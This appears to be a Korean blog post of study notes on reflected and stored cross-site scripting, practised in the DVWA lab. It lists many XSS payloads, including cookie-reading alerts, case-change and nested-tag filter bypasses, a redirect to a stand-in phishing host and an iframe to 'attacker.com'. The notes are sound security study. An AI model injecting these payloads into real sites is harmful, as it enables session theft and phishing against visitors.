본문 바로가기

IT 엔지니어/Security

XSS

XSS

Cross-Site Scripting

  • 사용자가 입력악성 자바스크립트 코드가 웹페이지에 삽입되고, 브라우저에서 그대로 실행되는 공격
REFLECTED XSS
STORED XSS
저장 여부
저장 X
DB 등에 저장됨
실행 타이밍
요청 즉시 반영
페이지 조회 시마다 실행
전파 범위
한 번의 클릭한 사람
누구나 (지속적 피해)
위험도
비교적 ↓
위험도 ↑

XSS (Reflected)

  • 서버 입력값을 즉시 페이지에 그대로 출력
  • 페이지가 로드되면서 자바스크립트 코드가 실행됨
  • 일회성 - 한 번 실행되고 끝
  • 주로 URL을 통한 피싱 공격에 多

Security low 설정하고 <script>alert('XSS Test')</script> 코드 입력을 했더니

페이지가 Reload 되며 자바스크립트 팝업이 출력된다.

이 웹 애플리케이션은 입력값을 검증 없이 그대로 HTML에 반영해버려서

악성 스크립트가 실행된 것. 이게 바로 Rdflected XSS의 대표적인 예이다.


XSS (Reflected)

  • 서버(DB) 입력값이 영구 저장됨
  • 지속성 - 계속 실행됨, 전파력 ↑
  • 주로 게시판, 댓글, 방명록, 관리자 페이지 공격에 多

최대 글자 수 변경 - Inspect

Stored XSS는 한번 입력 시 메시지(Data)가 저장된다.

누군가 페이지를 다시 열면,

저장된 <script> 태그가 그대로 브라우저에 실행되어 화면에 팝업(alert)이 출력된다.

입력자뿐 아니라 관리자, 일반 사용자, 모든 방문자 모두 Stored XSS 공격의 피해자가 된다.

(공격이 저장되어 모든 사용자에게 반복 전파 가능)

Test는 단순한 팝업 출력으로 했지만

실제로는 악성 자바 스크립트 실행으로 진행될 수 있으므로

보안상 매우 치명적인 공격이다.

(세션 탈취, 데이터 유출, 페이지 위조, 브라우저 조작, 관리자 권한 탈취 등)

저장된 Data들을 확인할 수 있다.

Data 삭제하려면? - Database Data 삭제

(DB = dvwa / Table = guestbook)

깔끔하게 삭제된 화면

 

 

클릭 시 xss 팝업

 

 <a href="#" onclick="alert('XSS')">click me</a>

 

 

 

 

마우스 올릴 시 팝업

<a href="#" onmouseover="alert('XSS')">Hover me</a>


<a href="#" onmouseover="alert(document.cookie)">Hover me</a>
 

 

 

 

 

<img src="x" onerror="alert('XSS')">

 

 

 

 

 

 

 

<img src="x" onerror="alert('XSS')">
<img src/onerror=alert('test')>
<img src/onerror=alert('xxl_test')>
공백 적용 불가로 이어쓰기 확인 필요

"alert('XSS')" 출력 후

img src="x" 출력

 

 

 

 

 

<SCRIPT>alert(’XSS test’)</script>

<scRipt>alert(document.cookie)</script>

source code 에 script 소문자로 입력되어 있기에
대문자 입력 시 우회 공격 가능 확인

***<scr***<sript>***ipt>***~~~~</script>

<script>제외한 명령어 
***<script>*** 확인 시
오버랩 후 명령어 작성 확인 가능

 

 

 

 

 

 

 

<a href="javascript:alert('XSS')">Click me</a>

'CLIKE HERE'링크 생성 후 해당 링크 클릭 시 경고 팝업

<a href="#" onclick="alert('XSS')">Click me</a>

'CLICK ME' 링크 클릭 시 경고 팝업

<a href="#" onmouseover="alert('XSS')">Hover me</a>

'HOVER ME' 마우스 오버 시 XSS 경고 팝업


<body onload=alert('TEST')> / 둘 다 가능
<body onmousemove="alert('XSS')">
<body onmousemove="window.location='http://phishing.com'">


<button onclick='alert('test')>click</button>

<div onmouseover='alert('xss')'><CLICK></div>

<div onmouseover='alert(document.cookie)'><CLICK></div>


<svg onload=window.location.assign("https://192.168.10.250/")>
해당 URL로 이동

<iframe src="http://attacker.com"></iframe>
해당 페이지 생성

 

 

 

onhandle - 기본 함수
onerror - 오류 발생 시 실행 이벤트

 

 
 
해당 URL로 이동  해당 페이지 생성

 

 

<input type="text" onfocus="alert('XSS')">
 
 
 

 

TEXT 칸 클릭 시 XSS 팝업


 

 

 

 

'IT 엔지니어 > Security' 카테고리의 다른 글

SQL injection[Non-blind/Blind]  (0) 2025.04.17
Burpsuite, Hydra, DVWA,  (1) 2025.04.15
XSS  (0) 2025.04.11
Directory Indexing  (0) 2025.04.11
SNORT RULEs  (0) 2025.04.10